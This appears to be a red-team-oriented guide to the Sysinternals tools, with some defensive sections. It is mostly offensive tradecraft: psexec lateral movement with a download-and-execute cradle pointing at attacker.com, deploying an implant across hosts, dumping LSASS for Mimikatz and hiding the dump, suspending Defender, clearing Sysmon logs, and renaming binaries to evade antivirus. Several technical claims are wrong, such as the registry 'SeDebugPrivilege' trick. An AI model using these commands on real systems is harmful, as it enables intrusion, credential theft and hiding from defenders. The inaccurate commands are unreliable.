Sysinternals Suite

Defensive Use (Blue Team):
  Deploy Sysmon for endpoint detection
  Use Procmon to understand attack patterns
  Monitor Autoruns for persistence mechanisms
  Track Handle usage for resource manipulation

Offensive Use (Red Team):
  Use ProcExp to find injection targets
  Analyze DLL loading order with ListDLLs
  Enumerate privileges with AccessChk
  Monitor own process for behavior patterns
  Understand what Sysmon will capture → evade it

# Option 1: Download individual tools
# From: https://docs.microsoft.com/en-us/sysinternals/downloads/

# Option 2: Download entire Suite
# URL: https://download.sysinternals.com/files/SysinternalsSuite.zip

# Option 3: Use Chocolatey (Red teamers often use this)
choco install sysinternals

# Option 4: Use Scoop
scoop install sysinternals

# Option 5: Live Sysinternals (run directly from internet)
C:\> \\live.sysinternals.com\tools\procexp.exe

# Most Sysinternals tools require administrative privileges
# Some require SeDebugPrivilege:

# Check current privileges
whoami /priv

# Enable SeDebugPrivilege
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{process}" `
    -Name "GlobalFlag" -Value 0x00000001

# Run as admin
Start-Process powershell -Verb RunAs

Concept: Run tools directly from Microsoft's live share
URL: \\live.sysinternals.com\tools\{toolname}.exe

Advantages:
  - No need to download/store on disk
  - Always latest version
  - Transparent to antivirus

Red Team Concerns:
  - Requires network connectivity to live.sysinternals.com
  - Firewall may block SMB connection
  - Defense can see connection to Sysinternals domain
  - Better to download and use locally

# Usage
C:\> \\live.sysinternals.com\tools\procexp.exe
C:\> \\live.sysinternals.com\tools\sysmon.exe -i
C:\> \\live.sysinternals.com\tools\procmon.exe

# Sysinternals tools accept EULA silently with /accepteula flag
procexp.exe /accepteula

# For Sysmon installation (requires consent)
sysmon.exe -i -n

Main Features:
  - Process tree visualization (parent-child relationships)
  - Real-time CPU/Memory/I/O monitoring
  - DLL and handle enumeration
  - Command-line arguments visibility
  - VirusTotal integration
  - Network connections per-process
  - Performance graph overlays
  - Process properties and permissions

GUI Navigation:
  View → Columns → Add relevant columns (Command Line, Image Path, etc)
  View → Highlight System Processes → See what's suspicious
  View → Show Lower Pane Details → See handles/DLLs for selected process
  Edit → Find Handle or DLL → Search for specific resources across all processes

# Identify processes running as SYSTEM
# Look for: explorer.exe, svchost.exe, lsass.exe, services.exe

# Identify processes with many DLLs (likely hooking-resistant)
# Look for: Notepad, Calculator (minimal imports = good injection targets)

# Identify whitelisted processes (Autoruns, signed binaries)
# Look for: rundll32.exe, regsvcs.exe, InstallUtil.exe (LOLBAS candidates)

# Check command-line arguments
# Look for: -nop, -EncodedCommand, -File (signs of PowerShell usage)

# Monitor UAC/Privilege elevation
# Look for: svchost.exe child processes from explorer.exe (unusual)

1. Launch procexp.exe
2. Search for explorer.exe in process tree
3. Expand explorer.exe (click arrow)
4. View → Show Lower Pane Details → DLLs tab
5. See all loaded DLLs and their memory addresses
6. Right-click DLL → Properties → View on VirusTotal

# Basic process list
Get-Process

# Get specific process
Get-Process -Name explorer

# Get processes by PID
Get-Process -Id 1234

# Get all process details
Get-Process | Select-Object Name, Id, CommandLine, ProcessName, Path, @{
    Name = "Owner"
    Expression = {(Get-Process -Id $_.Id).GetOwner().User}
}

# Get processes with specific criteria
Get-Process | Where-Object { $_.Memory -gt 100MB } | Select-Object Name, Memory, Id

# Red team: Find high-memory processes (good for injection)
Get-Process | Sort-Object WorkingSet -Descending | Select-Object -First 10

# Red team: Find processes running as SYSTEM
Get-Process | Where-Object { $_.Owner -eq "NT AUTHORITY\SYSTEM" } | Select-Object Name, Id, Owner

# Get process command line (requires WMI)
Get-WmiObject Win32_Process | Select-Object ProcessId, Name, CommandLine | Format-Table -AutoSize

# Red team: Find suspicious command lines
Get-WmiObject Win32_Process | Where-Object { 
    $_.CommandLine -match "powershell|cmd|rundll32" 
} | Select-Object ProcessId, Name, CommandLine

psexec.exe — Execute process on remote/local system as specific user
psinfo.exe — Get detailed system information
pslist.exe — List running processes
pskill.exe — Kill processes by name or PID
pstree.exe — Show process tree
pssuspend.exe — Suspend/resume processes
psloggedon.exe — Show logged-in users
psservice.exe — Service management
pssetup.exe — Install pstools on remote system

REM Execute command on local system as SYSTEM
psexec.exe -s cmd.exe

REM Execute on remote system
psexec.exe \\target-computer cmd.exe

REM Execute as specific user with password
psexec.exe \\target-computer -u domain\username -p password cmd.exe

REM Execute without interactive prompt
psexec.exe \\target-computer -d powershell.exe

REM Run elevated on current machine
psexec.exe -h -s cmd.exe /c whoami

REM Red team: Deploy implant across network
psexec.exe \\target1 \\target2 \\target3 -u Admin -p Password 
  -d C:\Windows\Temp\implant.exe

REM Red team: Lateral movement via psexec
psexec.exe \\192.168.1.100 -u Administrator -p P@ssw0rd 
  "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"

# Suspend process
pssuspend.exe <PID>

# Resume process
pssuspend.exe -r <PID>

# Red team: Suspend AV/EDR process during exploitation
pssuspend.exe 1234  # Suspend MsMpEng.exe (Windows Defender)

# Red team: Freeze process mid-operation (e.g., during DLL injection)
# Suspend target process → Inject DLL → Resume

# Install Sysmon
sysmon.exe -i -n

# Install with specific configuration
sysmon.exe -i -c config.xml -n

# Update existing installation
sysmon.exe -c config.xml

# Uninstall Sysmon
sysmon.exe -u

# List current config
sysmon.exe -c

# Dump schema
sysmon.exe -s

<Sysmon schemaversion="4.80">
    <!-- Log process creation -->
    <EventFiltering>
        <!-- Event 1: ProcessCreate -->
        <ProcessCreate onmatch="exclude">
            <!-- Exclude noisy/system processes -->
            <Image condition="image">System, smss.exe, csrss.exe</Image>
            <CommandLine condition="contains">WmiPrvSE, svchost</CommandLine>
        </ProcessCreate>

        <!-- Event 3: NetworkConnect -->
        <NetworkConnect onmatch="include">
            <!-- Log outbound connections (detect C2) -->
            <DestinationPort condition="is">443, 8080, 4444, 5555</DestinationPort>
        </NetworkConnect>

        <!-- Event 7: ImageLoad (DLL loading) -->
        <ImageLoad onmatch="exclude">
            <!-- Exclude legitimate DLLs to reduce noise -->
            <ImageLoaded condition="contains">System32, SysWOW64</ImageLoaded>
        </ImageLoad>

        <!-- Event 11: FileCreate -->
        <FileCreate onmatch="include">
            <!-- Log suspicious file creation -->
            <TargetFilename condition="contains">shell, payload, implant</TargetFilename>
        </FileCreate>
    </EventFiltering>
</Sysmon>

Technique: Parent Process Spoofing
  - Launch process with fake parent PID
  - Sysmon sees parent as explorer.exe instead of cmd.exe
  - Detection bypassed: "unusual parent" rule

Technique: Living off the Land
  - Use rundll32.exe, regsvcs.exe (whitelisted by Sysmon)
  - Avoid powershell.exe/cmd.exe (heavily monitored)

Technique: Process Injection
  - CreateRemoteThread into svchost.exe
  - Sysmon logs Event 8 but not suspicious without config

Technique: HTTPS over 443
  - Use standard port (less suspicious)
  - Sysmon sees destination but not traffic (encrypted)

Technique: DNS Tunneling
  - Exfiltrate via DNS queries (Event 22)
  - Detection requires DNS content analysis

Technique: Time delay
  - Stagger connections over days/weeks
  - Avoid detection of connection pattern

Technique: DLL Injection
  - Inject DLL into running process
  - Appears as "remote" module load, harder to correlate

Technique: Process Hollowing
  - No DLL loaded into target, memory rewrite only
  - ImageLoad event may not trigger

Technique: Delayed Loading
  - Load DLL only when needed (in-memory)
  - Spread detection across multiple sessions

Technique: Use NtCreateThreadEx instead
  - Direct syscall bypasses Win32 API hooks
  - Sysmon may not capture ntdll calls

Technique: Process Hollowing
  - No thread creation detected, only context manipulation

Technique: Callback Injection
  - SetWindowsHookEx, RegisterClassEx (less obvious than CreateRemoteThread)

Technique: Write to temp locations first
  - Sysmon may exclude certain directories
  - Later move to target location via MoveFile

Technique: Use ADS (Alternate Data Streams)
  - Write to file:zone.identifier
  - Sysmon may not detect ADS creation

Technique: Delay writing
  - Create file path but write content later (in-memory)

# View Sysmon logs in Event Viewer
eventvwr.msc

# Navigate to:
# Applications and Services Logs → Microsoft → Windows → Sysmon → Operational

# Query Sysmon events via PowerShell
Get-WinEvent -FilterHashtable @{
    LogName = "Microsoft-Windows-Sysmon/Operational"
    Id = 1  # ProcessCreate
} | Select-Object TimeCreated, Message

# Red team: Monitor what Sysmon captures about your activities
Get-WinEvent -FilterHashtable @{
    LogName = "Microsoft-Windows-Sysmon/Operational"
    Id = 1
} | Where-Object { $_.Message -match "cmd.exe|powershell.exe" } | 
Select-Object -Last 10 | Format-Table TimeCreated, Message

# Clear Sysmon logs (detection evasion, requires SYSTEM)
Remove-Item "C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx"

# Or via WMI
Get-WinEvent -ListLog "Microsoft-Windows-Sysmon/Operational" | 
    ForEach-Object { wevtutil.exe clear-log $_.LogName }

# Launch GUI
autoruns.exe

# Command-line export to CSV
autorunsc.exe -a * -c > autoruns_export.csv

# Hide Microsoft signed items (reduce noise)
autorunsc.exe -a * -c -h > autoruns_custom.csv

# Export specific category
autorunsc.exe -a s -c > startup_items.csv    # Startup folder only
autorunsc.exe -a r -c > registry_items.csv   # Registry entries only
autorunsc.exe -a t -c > task_items.csv       # Scheduled tasks

# Red team: Check what persistence methods are installed
autoruns.exe

# Red team: Filter for suspicious entries
autorunsc.exe | Where-Object { $_ -notmatch "Microsoft|C:\\Windows|C:\\Program Files" }

Registry Run Keys:
  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Load

Startup Folders:
  C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Scheduled Tasks:
  C:\Windows\System32\Tasks\
  C:\Windows\System32\Tasks\Microsoft\Windows\

Browser Extensions:
  HKCU\SOFTWARE\Policies\Google\Chrome\Extensions
  HKCU\SOFTWARE\Microsoft\Edge\Extensions

WMI:
  ROOT\subscription namespace (WMI event subscriptions)

# Check file permissions
accesschk.exe -f C:\Windows\System32

# Check registry permissions
accesschk.exe -krs HKLM\SOFTWARE

# Check service permissions
accesschk.exe -c servicename

# Check process permissions
accesschk.exe -p processname

# Find writable directories (privilege escalation)
accesschk.exe -d C:\ -w -s

# Find writable registry keys
accesschk.exe -krs HKLM\SOFTWARE -w

# Check specific user permissions
accesschk.exe -a "domain\username" C:\target\path

# Red team: Find weak permissions on critical services
accesschk.exe -c QueryServiceConfig | Where-Object { $_ -match "WRITE|MODIFY" }

# Red team: Enumerate DLL hijacking opportunities
accesschk.exe -d "C:\Program Files" -w -s

# Red team: Find writable directories used by SYSTEM processes
accesschk.exe -d C:\Temp -w -s
accesschk.exe -d C:\Windows\Temp -w -s
accesschk.exe -d C:\Windows\Tasks -w -s

C:\Temp
C:\Windows\Temp
C:\Windows\Tasks
C:\Program Files (common subdirs)
C:\ProgramData
C:\Users\Public

Registry Keys with WRITE access:
  HKLM\SOFTWARE\Classes\.txt
  HKLM\SYSTEM\CurrentControlSet\Services\*
  HKCU\SOFTWARE\Classes

# List all handles system-wide
handle.exe

# List handles for specific process
handle.exe -p processname
handle.exe -p 1234

# Search for specific handle
handle.exe -a "C:\target\file.txt"
handle.exe -a "HKLM\SOFTWARE"

# Find handles on DLL files (before injection)
handle.exe | Select-String "malicious.dll"

# Red team: Find what process is locking a file
handle.exe | Where-Object { $_ -match "payload.exe" }

# Red team: Check if antivirus has file locked
handle.exe | Where-Object { $_ -match "McAfee|Norton|Kaspersky" }

# Close handle (requires admin)
handle.exe -c processname -p pid -y

# Jump to specific registry key
regjump.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Red team: Navigate to persistence locations quickly
regjump.exe HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
regjump.exe HKLM\SYSTEM\CurrentControlSet\Services

# Launch from PowerShell
C:\Sysinternals\regjump.exe "HKLM\SYSTEM\CurrentControlSet\Services\$ServiceName"

# Export entire HKLM
reg2xml.exe HKLM output.xml

# Export HKCU
reg2xml.exe HKCU output.xml

# Red team: Extract run keys for analysis
reg2xml.exe "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" run_keys.xml

# Red team: Backup registry before modifications
reg2xml.exe HKCU backup.xml

# Parse XML for specific values
[xml]$reg = Get-Content output.xml
$reg.registry.hive.key | Where-Object { $_.name -match "Run" }

# Launch TCPView GUI
tcpview.exe

# Feature: Process → Properties → Properties (see command line)
# Feature: Resolve addresses to hostnames
# Feature: Color-coded new/closed connections
# Feature: Export connection list

# Red team: Monitor own connections
# Launch implant, watch TCPView for outbound connections
# Identify what ports/protocols are in use
# Verify communication with C2 server

# Red team: Identify listening processes
# Look for unusual high ports (8080, 4444, 5555, etc)
# Check what process is listening (may be competitor's implant or EDR)

# Modern replacement: Get-NetTCPConnection
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess, State

# Get-NetTCPConnection with process name
Get-NetTCPConnection | ForEach-Object {
    $process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    $_ | Add-Member -NotePropertyName ProcessName -NotePropertyValue $process.ProcessName -PassThru
} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, ProcessName, State

# Red team: Monitor for C2 connections
Get-NetTCPConnection | Where-Object { $_.RemotePort -eq 443 } | 
  ForEach-Object { Get-Process -Id $_.OwningProcess } | 
  Select-Object Name, Id

# Red team: Find listening processes
Get-NetTCPConnection -State Listen | Select-Object LocalPort, OwningProcess | 
  ForEach-Object {
    $process = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    New-Object PSObject -Property @{
        Port = $_.LocalPort
        ProcessName = $process.ProcessName
        PID = $_.OwningProcess
    }
  }

# List DLLs for specific process
listdlls.exe explorer.exe

# List DLLs by PID
listdlls.exe 1234

# List in CSV format
listdlls.exe -d explorer.exe > explorer_dlls.csv

# Red team: Verify DLL injection success
# Before injection: listdlls.exe target.exe | Out-File before.txt
# Inject DLL
# After injection: listdlls.exe target.exe | Out-File after.txt
# Compare: diff before.txt after.txt → malicious.dll should appear

# Red team: Find DLLs loaded from non-standard paths
listdlls.exe explorer.exe | Where-Object { $_ -notmatch "System32|SysWOW64|Program Files" }

# Red team: Detect Sysmon/EDR DLLs
listdlls.exe | Where-Object { $_ -match "sysmon|windefend|mcafee" }

1. Identify target process (e.g., explorer.exe)
2. ListDLLs explorer.exe
3. Find DLL loaded from C:\Windows\System32\
4. Place malicious DLL in current directory with same name
5. When process searches DLL path, finds malicious version first
6. DllMain executes with explorer.exe privileges

Detection Defense:
  - Use full paths in LoadLibrary (avoid search)
  - Use KnownDLLs registry (forces system32 version)
  - ASLR + DEP make this harder
  - Sysmon Event 7 may detect unusual DLL paths

# Current user
whoami

# Current user with domain
whoami /all

# Display in different formats
whoami /user
whoami /groups
whoami /priv

# Show primary group
whoami /groups /claim

# Display only privilege names (clean output)
whoami /priv /fo list

# Red team: Verify elevation
whoami /priv | Select-String "SeDebugPrivilege" -Quiet

# Red team: Check for Impersonate privileges (token theft)
whoami /priv | Select-String "SeImpersonate"
whoami /priv | Select-String "SeAssignPrimaryToken"

# Red team: Full context check
whoami /all | Find /i "SeSystemtimePrivilege" && echo "SYSTEM" || echo "NOT SYSTEM"

# Get current user SID
getsid.exe

# Get specific user SID
getsid.exe "domain\username"

# Get SID for builtin accounts
getsid.exe Administrators
getsid.exe SYSTEM
getsid.exe Administrator

# Red team: Spoof user in attacks
# Use SID to create fake token or access user resources

# Dump specific process
procdump.exe -ma explorer.exe dump.dmp

# Dump by PID
procdump.exe -ma 1234

# Dump multiple times (useful for credential extraction)
procdump.exe -ma -n 5 lsass.exe  # 5 dumps of lsass

# Dump on exception
procdump.exe -ma -e explorer.exe

# Dump on hung window
procdump.exe -h explorer.exe

# Dump specific memory region
procdump.exe -r -s 1 explorer.exe

# Red team: Extract LSASS memory (contains cached credentials)
procdump.exe -ma lsass.exe lsass.dmp

# Red team: Analyze dump for clear-text passwords
# Use Mimikatz or custom tools to parse dump
# Look for: credentials, tokens, encryption keys

# Red team: Bypass credential guard
procdump.exe -ma lsass.exe
# Extract using Mimikatz: sekurlsa::minidump lsass.dmp

# Detection evasion: Dump to hidden location
procdump.exe -ma lsass.exe C:\$Recycle.Bin\lsass.dmp

# Dump all processes matching pattern
procdump.exe -ma cmd.exe C:\dumps\

# Write-capable dump (for testing)
procdump.exe -w explorer.exe dump.dmp  # Writable dump for offline analysis

1. Check privileges: whoami /priv | find "SeDebugPrivilege"
2. Dump LSASS: procdump.exe -ma lsass.exe lsass.dmp
3. Exfiltrate dump file
4. Offline analysis with Mimikatz: 
   sekurlsa::minidump lsass.dmp
   sekurlsa::logonpasswords

Credentials extracted:
  - SAM database hashes
  - Cached AD credentials
  - Plaintext passwords (sometimes)
  - Kerberos tickets
  - SSL certificates

# Launch DebugView GUI
debugview.exe

# Capture debug output
debugview.exe -o debugoutput.txt

# Filter messages
debugview.exe | Where-Object { $_ -match "error|failed" }

# Red team: Monitor DLL injection success
# Add debug output to malicious DLL:
# OutputDebugString("Injection successful!");
# Then run: debugview.exe | find "Injection successful"

# Red team: Detect what APIs are called
# Enable API tracing in debugger
# Monitor via DebugView

# Launch procmon GUI
procmon.exe

# Capture to file
procmon.exe /BackingFile capture.pml

# Stop capture
procmon.exe /Terminate

# Load and analyze capture
procmon.exe capture.pml

Filter 1: Monitor your malware execution
  Filter → Process Name is malware.exe → Add

Filter 2: Monitor registry persistence
  Filter → Operation is RegSetValue → Add
  Filter → Path contains "Run" → Add

Filter 3: Monitor file creation in System32
  Filter → Operation is CreateFile → Add
  Filter → Path contains "System32" → Add

Filter 4: Monitor DLL loading
  Filter → Operation is Load Image → Add

Filter 5: Monitor network activity
  Filter → Operation is TCP Send → Add
  Filter → Operation is TCP Receive → Add

Real-time Usage:
1. Set filters
2. Click Tools → Filter
3. Configure filters
4. Run malware/payload
5. Observe exactly what system calls are made
6. Identify detection points

Analyze PowerShell Execution:
  1. procmon.exe /BackingFile ps.pml &
  2. powershell.exe -nop -w hidden -c 'Write-Host "Test"'
  3. Stop capture
  4. Open ps.pml
  5. See: registry reads, file access, DLL loads, network attempts

Result: Understand what Sysmon/EDR will detect

Analyze DLL Injection:
  1. procmon.exe /BackingFile inject.pml &
  2. injector.exe <target-pid> C:\malicious.dll
  3. Stop capture
  4. Observe: CreateRemoteThread, WriteProcessMemory, LoadLibrary calls

Result: Know if technique is stealthy or obvious

Analyze File Write Activity:
  1. Set filter: Operation is WriteFile
  2. Run payload
  3. Observe: exactly which files are written and when
  4. Identify opportunities to avoid write operations

Observation 1: Sysmon logs all CreateRemoteThread calls
  Evasion: Use SetWindowsHookEx instead (harder to detect)

Observation 2: Registry writes to Run keys are logged
  Evasion: Use WMI event subscriptions (less monitored)

Observation 3: File writes to System32 are visible
  Evasion: Write to temp first, execute from memory

Observation 4: Process creation with command-line args visible
  Evasion: Use parent process spawning without visible args

Observation 5: DLL loads from unusual paths are obvious
  Evasion: Load from legit directory, hijack via search order

# Get system info
Get-WmiObject Win32_ComputerSystem | Select-Object Name, Manufacturer, TotalPhysicalMemory

# Check OS version
[System.Environment]::OSVersion

# Get installed antivirus/security software
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct

# Get running services
Get-Service | Where-Object { $_.Status -eq "Running" } | Select-Object Name, DisplayName

# Check for EDR/monitoring tools
Get-Process | Where-Object { $_.ProcessName -match "sysmon|osquery|carbon|auditd" }

# List installed software
Get-WmiObject Win32_Product | Select-Object Name, Vendor, Version

# Find processes running as SYSTEM (injection targets)
Get-Process | Where-Object { (Get-Process -Id $_.Id).GetOwner().User -match "SYSTEM" }

# Find whitelisted processes (less suspicious)
Get-ChildItem C:\Windows\System32 -Filter "*.exe" | 
  Where-Object { $_.VersionInfo.CompanyName -match "Microsoft" }

# Check process privileges
whoami /priv

# Check for impersonation privileges (token theft)
whoami /priv | Select-String "SeImpersonate"

# Monitor listening ports (find open services)
Get-NetTCPConnection -State Listen | 
  ForEach-Object {
    $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    New-Object PSObject -Property @{
      Port = $_.LocalPort
      Process = $p.ProcessName
      PID = $_.OwningProcess
    }
  }

# Check autoruns
autorunsc.exe -a * -c | Export-Csv autoruns.csv

# Check scheduled tasks (common persistence)
Get-ScheduledTask | Where-Object { $_.State -eq "Ready" } | 
  Select-Object TaskName, TaskPath

# Check WMI subscriptions
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter

# Check registry run keys
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Check startup folder
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

# Criteria for good injection target:
# 1. Running as SYSTEM or elevated user
# 2. Whitelisted by security software
# 3. Has minimal logging/hooks
# 4. Already loads multiple DLLs (less conspicuous)

# Find explorer.exe process details
procexp.exe
# Expand explorer.exe
# View → Show Lower Pane Details → DLLs tab
# Right-click → properties → see command line

# Ideal targets:
# explorer.exe (File Explorer, high privileges)
# svchost.exe -k netsvcs (Services host, low activity)
# lsass.exe (Authentication, very high privileges)
# services.exe (Service manager, SYSTEM privileges)

# Identify injection target via command-line
$targetProcess = Get-WmiObject Win32_Process | 
  Where-Object { $_.Name -eq "explorer.exe" } | 
  Select-Object ProcessId, Name, CommandLine

# Verify process is from legitimate binary
$procPath = (Get-Process -Id $targetProcess.ProcessId).Path
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($procPath) | 
  Select-Object CompanyName, ProductVersion

# Launch implant/payload
# Run procexp.exe on same system
# Monitor own process for suspicious activity

# Watch for:
# 1. Unexpected DLL loads
# 2. Parent process changes
# 3. Incoming/outgoing network connections
# 4. Registry access patterns
# 5. File creation patterns

# Use Procmon to trace own execution
procmon.exe /BackingFile payload_trace.pml &
C:\payload.exe
# Analyze: payload_trace.pml

# Identify what Sysmon will log
# Adjust payload to avoid those patterns

# Monitor for psexec usage
Get-WinEvent -FilterHashtable @{
    LogName = "Security"
    EventID = 1
} | Where-Object { $_.Message -match "psexec.exe" }

# Monitor for procdump (memory extraction)
Get-Process | Where-Object { $_.ProcessName -match "procdump" }

# Monitor for unauthorized lishdlls/listdlls usage
Get-WinEvent -FilterHashtable @{
    LogName = "Sysmon"
    ID = 1
} | Where-Object { $_.Message -match "listdlls|handle" }

# Monitor Autoruns modifications
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | 
  Where-Object { $_.PSDrive -notmatch "Microsoft|Windows" }

# Monitor Procmon usage
Get-Process | Where-Object { $_.ProcessName -match "procmon" }

Problem: procexp.exe, psexec.exe are obvious
Solution: Rename to legitimate names

  psexec.exe → rundll32.exe
  procexp.exe → explorer.exe
  procdump.exe → svchost.exe

Detection bypass: Signature-based AV ignores renamed binaries
Cost: Hash-based detection still works (but requires known samples)

Problem: Storing binaries on disk is risky
Solution: Run from SMB share

  \\live.sysinternals.com\tools\procexp.exe
  \\live.sysinternals.com\tools\psexec.exe

Advantage: No local binary, stealthier
Disadvantage: Requires network access to Sysinternals domain
  (Defense can block/monitor this)

Problem: Obvious tool execution
Solution: Use legitimate binaries to launch Sysinternals

Example:
  rundll32.exe "C:\temp\procexp.exe"
  wmic process call create "C:\temp\procdump.exe -ma lsass.exe"
  powershell -c "& 'C:\temp\psexec.exe' \\target cmd.exe"

Detection bypass: Process tree shows rundll32/wmic/powershell
Cost: Still executes Sysinternals code (may be flagged eventually)

# Problem: Sysinternals binaries are well-known
# Solution: Use PowerShell equivalents

# Replace psexec with Invoke-Command (WinRM)
Invoke-Command -ComputerName target -ScriptBlock {
    Get-Process
} -Credential (Get-Credential)

# Replace procexp with Get-Process
Get-Process | Sort-Object WorkingSet -Descending

# Replace listdlls with custom PowerShell
Get-Process explorer | ForEach-Object {
    $_.Modules | Select-Object Name, FileName
}

# Replace procdump with custom dump
Add-Type -Name MiniDumper -MemberDefinition @'
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(
    System.IntPtr hProcess,
    uint ProcessId,
    System.IntPtr hFile,
    uint DumpType,
    IntPtr ExceptionParam,
    IntPtr UserStreamParam,
    IntPtr CallbackParam
);
'@ -Namespace System.Diagnostics.Tools

# Advantage: No external binaries
# Detection: Behavioral analysis harder

# Elegant PowerShell wrapper for psexec
function Invoke-PsExec {
    param(
        [string]$Computer,
        [string]$Command,
        [pscredential]$Credential
    )

    $psexecPath = "C:\Sysinternals\psexec.exe"

    if ($Credential) {
        & $psexecPath \\$Computer -u $Credential.UserName -p $Credential.GetNetworkCredential().Password cmd /c $Command
    } else {
        & $psexecPath \\$Computer cmd /c $Command
    }
}

# Usage
Invoke-PsExec -Computer "target-pc" -Command "whoami"

# Wrapper for procdump
function Get-ProcessMemory {
    param(
        [string]$ProcessName,
        [string]$OutputPath = "C:\temp\"
    )

    $procdumpPath = "C:\Sysinternals\procdump.exe"
    $process = Get-Process -Name $ProcessName

    & $procdumpPath -ma $process.Id "$OutputPath\$ProcessName`_$($process.Id).dmp"
}

# Usage
Get-ProcessMemory -ProcessName lsass -OutputPath C:\dumps\

# Wrapper for Autoruns
function Get-AutorunsData {
    param(
        [switch]$ExcludeMicrosoft
    )

    $autorunsPath = "C:\Sysinternals\autorunsc.exe"

    if ($ExcludeMicrosoft) {
        & $autorunsPath -a * -c -h | ConvertFrom-Csv
    } else {
        & $autorunsPath -a * -c | ConvertFrom-Csv
    }
}

# Usage
Get-AutorunsData -ExcludeMicrosoft | Where-Object { $_.ImagePath -notmatch "System32" }

# Comprehensive system profiling for red team reconnaissance

function New-SystemProfile {
    param([string]$OutputPath = "C:\temp\profile")

    New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null

    # Get-Process equivalent
    Get-Process | Export-Csv "$OutputPath\processes.csv" -NoTypeInformation

    # Autoruns data
    & "C:\Sysinternals\autorunsc.exe" -a * -c -h | 
        Out-File "$OutputPath\autoruns.txt"

    # Network connections
    Get-NetTCPConnection | Export-Csv "$OutputPath\network_connections.csv" -NoTypeInformation

    # Privileges
    whoami /priv | Out-File "$OutputPath\privileges.txt"

    # Services
    Get-Service | Export-Csv "$OutputPath\services.csv" -NoTypeInformation

    # Installed software
    Get-WmiObject Win32_Product | 
        Select-Object Name, Vendor, Version | 
        Export-Csv "$OutputPath\software.csv" -NoTypeInformation

    # User accounts
    Get-WmiObject Win32_UserAccount | 
        Export-Csv "$OutputPath\users.csv" -NoTypeInformation

    Write-Host "Profile saved to: $OutputPath"
}

# Usage
New-SystemProfile -OutputPath "C:\temp\profile"

@echo off
REM Comprehensive system audit script

set OUTPUT=C:\audit\%DATE:~-4,4%%DATE:~-10,2%%DATE:~-7,2%

mkdir %OUTPUT%

REM Process analysis
echo [*] Analyzing processes...
tasklist /v > %OUTPUT%\processes.txt
C:\Sysinternals\procexp.exe /accepteula -t > %OUTPUT%\procexp_tree.txt

REM Autoruns audit
echo [*] Checking autoruns...
C:\Sysinternals\autorunsc.exe -accepteula -a * -c > %OUTPUT%\autoruns.csv

REM Network connections
echo [*] Monitoring network...
netstat -anob > %OUTPUT%\netstat.txt

REM Service audit
echo [*] Auditing services...
sc queryex type=service state=all > %OUTPUT%\services.txt

REM User privileges
echo [*] Checking privileges...
whoami /all > %OUTPUT%\privileges.txt

echo [+] Audit complete! Output: %OUTPUT%

# Red team: Continuous monitoring of own process

$logPath = "C:\temp\monitoring.log"
$processName = "payload.exe"
$pid = (Get-Process -Name $processName).Id

# Monitor every 5 seconds for 1 hour
$endTime = (Get-Date).AddHours(1)

while ((Get-Date) -lt $endTime) {
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

    # Check if process still running
    $process = Get-Process -Id $pid -ErrorAction SilentlyContinue
    if (-not $process) {
        Add-Content $logPath "$timestamp - Process terminated!"
        break
    }

    # Log memory usage
    $memory = $process.WorkingSet / 1MB
    Add-Content $logPath "$timestamp - Memory: ${memory}MB"

    # Monitor network connections
    $connections = Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq $pid }
    foreach ($conn in $connections) {
        Add-Content $logPath "$timestamp - Connection: $($conn.RemoteAddress):$($conn.RemotePort)"
    }

    # Monitor file activity
    # (Would require Procmon in background)

    Start-Sleep -Seconds 5
}

# Threat hunting for persistence mechanisms

# Search for suspicious autoruns
$autoruns = & "C:\Sysinternals\autorunsc.exe" -a * -c | ConvertFrom-Csv

$suspiciousAutouns = $autoruns | Where-Object {
    $_.ImagePath -notmatch "System32|Program Files|ProgramData" -or
    $_.ImagePath -match "temp|appdata|downloads" -or
    $_.ImagePath -match "powershell|cmd|wscript" -or
    $_.Publisher -notmatch "Microsoft|Intel|Adobe" -or
    [string]::IsNullOrEmpty($_.Publisher)
}

$suspiciousAutouns | Select-Object Location, ImagePath, Publisher | Export-Csv suspicious.csv

# Investigate suspicious process

function Analyze-Process {
    param([int]$ProcessId)

    $process = Get-Process -Id $ProcessId

    Write-Host "=== Process Analysis ===" -ForegroundColor Cyan
    Write-Host "Name: $($process.ProcessName)"
    Write-Host "PID: $($process.Id)"
    Write-Host "Path: $($process.Path)"
    Write-Host "Memory: $($process.WorkingSet / 1MB) MB"

    # Check digital signature
    $signature = Get-AuthenticodeSignature $process.Path
    Write-Host "Signed: $($signature.Status)"
    Write-Host "Signer: $($signature.SignerCertificate.Subject)"

    # Get command line
